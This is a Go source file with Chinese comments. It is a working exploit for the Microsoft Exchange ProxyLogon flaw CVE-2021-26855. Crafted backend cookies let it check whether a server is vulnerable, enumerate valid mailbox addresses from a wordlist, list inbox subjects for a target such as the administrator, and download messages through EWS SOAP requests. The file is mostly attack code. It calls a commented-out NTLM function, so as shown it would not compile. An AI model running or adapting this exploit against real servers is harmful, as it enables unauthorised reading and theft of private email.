package ms

import (
	"bufio"
	"crypto/tls"
	"fmt"
	"io"
	"io/ioutil"
	"net/http"
	"os"
	"regexp"
	"strconv"
	"strings"
	"time"
)

//检测漏洞存在脚本
func Verify(targetUrl string) bool {
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	client := &http.Client{Transport: tr}

	req, _ := http.NewRequest("GET", targetUrl, nil)
	req.Header.Add("Cookie", "X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;")
	resp, _ := client.Do(req)
	defer resp.Body.Close()
	body, _ := ioutil.ReadAll(resp.Body)

	if strings.Contains(string(body), "NegotiateSecurityContext") {
		return true
	} else {
		return false
	}
}

//
//func append16_1(v []byte, val uint16) []byte {
//	return append(v, byte(val), byte(val>>8))
//}
//
//func append32_1(v []byte, val uint16) []byte {
//	return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24))
//}

//const (
//	negotiateUnicode    = 0x0001 // Text strings are in unicode
//	negotiateOEM        = 0x0002 // Text strings are in OEM
//	requestTarget       = 0x0004 // Server return its auth realm
//	negotiateSign       = 0x0010 // Request signature capability
//	negotiateSeal       = 0x0020 // Request confidentiality
//	negotiateLMKey      = 0x0080 // Generate session key
//	negotiateNTLM       = 0x0200 // NTLM authentication
//	negotiateLocalCall  = 0x4000 // client/server on same machine
//	negotiateAlwaysSign = 0x8000 // Sign for all security levels
//)

//生成ntlm type1
//func Negotiate() []byte {
//	var ret []byte
//	flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM
//
//	ret = append(ret, "NTLMSSP\x00"...) // protocol
//	ret = append32(ret, 1)              // type
//	ret = append32(ret, uint16(flags))  // flags
//	ret = append16(ret, 0)              // NT domain name length
//	ret = append16(ret, 0)              // NT domain name max length
//	ret = append32(ret, 0)              // NT domain name offset
//	ret = append16(ret, 0)              // local workstation name length
//	ret = append16(ret, 0)              // local workstation name max length
//	ret = append32(ret, 0)              // local workstation name offset
//	ret = append16(ret, 0)              // unknown name length
//	ret = append16(ret, 0)              // ...
//	ret = append16(ret, 0x30)           // unknown offset
//	ret = append16(ret, 0)              // unknown name length
//	ret = append16(ret, 0)              // ...
//	ret = append16(ret, 0x30)           // unknown offset
//
//	return ret
//}

//利用ntlm type2 获取有效信息 fqdn
//func Ntlminfo(targetUrl string) (fqdn string, domain string) {
//
//	//var fqdn string
//
//	tr := &http.Transport{
//		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
//	}
//	client := &http.Client{Transport: tr}
//
//	req, _ := http.NewRequest("GET", targetUrl, nil)
//	req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate())))
//	req.Header.Add("Accept", "text/xml")
//	resp, _ := client.Do(req)
//
//	reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`)
//	reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`)
//	reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`)
//	reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`)
//	reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`)
//	reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`)
//
//	for _, values := range resp.Header {
//		type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";")))
//		if type2 != "" {
//			decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2))
//			fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "")
//			domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "")
//		}
//	}
//	return
//}

func Postxml(targetUrl string, fqdn string, xmlcontent string) string {

	//urlProxy, _ := url.Parse("http://127.0.0.1:8080")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		//    Proxy: http.ProxyURL(urlProxy),
	}
	client := &http.Client{Transport: tr}

	req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent))
	req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn))
	req.Header.Add("Content-Type", "text/xml")
	//fmt.Println(req)
	resp2, _ := client.Do(req)
	//defer resp2.Body.Close()
	body2, _ := ioutil.ReadAll(resp2.Body)

	return string(body2)
}

func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) {
	//fmt.Println(userfile)
	ufile, err := os.Open(userfile)
	if err != nil {
		fmt.Println("文件错误")
		os.Exit(0)
	}
	defer ufile.Close()

	fmt.Println("正确邮箱地址：")

	br := bufio.NewReader(ufile)
	for {
		name, _, c := br.ReadLine()
		if c == io.EOF {
			fmt.Println("\n完成。")
			break
		}
		if strings.Contains(string(name), "@") {
			str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name)))
			if strings.Contains(str, string(name)) {
				//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", string(name)))
			} else {
				fmt.Println(string(name))
			}
		} else {
			address := fmt.Sprintf("%s@%s", string(name), domainneame)
			str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address))
			if strings.Contains(str, string(name)) {
				//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", address))
			} else {
				fmt.Println(address)
			}
		}
		time.Sleep(time.Duration(stime) * time.Second)
	}
}

func makefile1(fileName string, conntent string) {

	f, err := os.Create(fileName)
	defer f.Close()
	if err != nil {
		fmt.Println(err.Error())
	} else {
		_, _ = f.Write([]byte(conntent))
	}
}

func CheckExchange(host *string) []string {
	var maddress string
	filepath := ""              // 选填，需要枚举的用户列表
	stime := "1"                // 选填，请求延迟时间
	desfqnd := ""               // 选填，需要指定 FQND 事填写
	emailadd := "administrator" // 选填，指定目标
	list := true                // 选填，列出邮件列表
	downl := false              // 选填，下载邮件

	targetUrl := fmt.Sprintf("https://%s/owa/auth/temp.js", *host)
	ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host)
	postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host)
	sleep_time, _ := strconv.Atoi(stime)

	fmt.Println("检测漏洞存在中...")
	aRst := []string{}
	if Verify(targetUrl) == true {
		aRst = append(aRst, fmt.Sprintf("发现漏洞 CVE-2021-26855: %s", targetUrl))
		fmt.Println(aRst[len(aRst)-1:])
	} else {
		fmt.Println("漏洞不存在...END")
		return aRst
	}

	mailnum := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <m:GetFolder>
            <m:FolderShape>
                <t:BaseShape>Default</t:BaseShape>
            </m:FolderShape>
            <m:FolderIds>
                <t:DistinguishedFolderId Id="inbox">
                    <t:Mailbox>
                        <t:EmailAddress>%s</t:EmailAddress>
                    </t:Mailbox>
                </t:DistinguishedFolderId>
            </m:FolderIds>
        </m:GetFolder>
    </soap:Body>
</soap:Envelope>`

	maillist := `<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
 xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
 xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
 xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
 xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
  <soap:Body>
    <m:FindItem Traversal='Shallow'>
      <m:ItemShape>
        <t:BaseShape>AllProperties</t:BaseShape>
      </m:ItemShape>
      <m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="Beginning" />
      <m:ParentFolderIds>
        <t:DistinguishedFolderId Id='inbox'>
          <t:Mailbox>
            <t:EmailAddress>%s</t:EmailAddress>
          </t:Mailbox>
        </t:DistinguishedFolderId>
      </m:ParentFolderIds>
    </m:FindItem>
  </soap:Body>
</soap:Envelope>`

	download := `<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <m:GetItem>
      <m:ItemShape>
        <t:BaseShape>AllProperties</t:BaseShape>
        <t:BodyType>Text</t:BodyType>
      </m:ItemShape>
      <m:ItemIds>
        <t:ItemId Id="%s" ChangeKey="%s" />
      </m:ItemIds>
    </m:GetItem>
  </soap:Body>
</soap:Envelope>`

	fqndstr, domainstr := Ntlminfo(ewsUrl)

	if "" != fqndstr {
		aRst = append(aRst, fmt.Sprintf("目标 FQND 为： %s", fqndstr))
		fmt.Println(aRst[len(aRst)-1:])
	}
	if filepath != "" {
		Userenumerate(postUrl, fqndstr, mailnum, filepath, domainstr, sleep_time)
	}

	if desfqnd != "" {
		fqndstr = desfqnd
	}

	if strings.Contains(emailadd, "@") {
		maddress = emailadd
	} else {
		maddress = fmt.Sprintf("%s@%s", emailadd, domainstr)
	}

	str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress))
	//fmt.Println(str)

	if strings.Contains(str, maddress) {
		fmt.Println(fmt.Sprintf("邮件地址 %s 不正确，请重新输入", maddress))
	} else if strings.Contains(str, "Success") {
		reg01 := regexp.MustCompile(`(<t:TotalCount>)(.+)(</t:TotalCount>)`)
		reg02 := regexp.MustCompile(`<t:TotalCount>|</t:TotalCount>`)
		mnum := reg02.ReplaceAllString(reg01.FindString(str), "")
		aRst = append(aRst, fmt.Sprintf("用户 %s 邮箱中收件箱 Inbox 中邮件数量为： %s", maddress, fqndstr))
		fmt.Println(aRst[len(aRst)-1:])
		if list == true {
			if mnum != "0" {
				contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress))

				reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`)
				reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`)
				reg_sub := regexp.MustCompile(`(?:<t:Subject>)(.+?)(?:</t:Subject>)`)

				id := reg_id.FindAllStringSubmatch(contents, -1)
				key := reg_key.FindAllStringSubmatch(contents, -1)
				subject := reg_sub.FindAllStringSubmatch(contents, -1)

				for i := 0; i < 5; i++ {
					fmt.Println("---------")
					aRst = append(aRst, fmt.Sprintf("ID ：%d\nItemId： %v\nkey： %v\n邮件标题：%s", i+1, id[i][1], key[i][1], subject[i][1]))
					fmt.Println(aRst[len(aRst)-1:])
				}

				if downl == true {
					for i := 0; i < 5; i++ {
						fmt.Println("正在下载第 ", i, " 份邮件")
						contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1]))
						makefile1(fmt.Sprintf("./ID-%v.xml", i+1), contentd)
					}
					fmt.Println("下载完成")
				}

			} else {
				fmt.Println("目标邮箱无邮件！")
			}
		}
	} else {
		fmt.Println("默认 FQND 无效请更换其他服务器")
	}
	return aRst
}
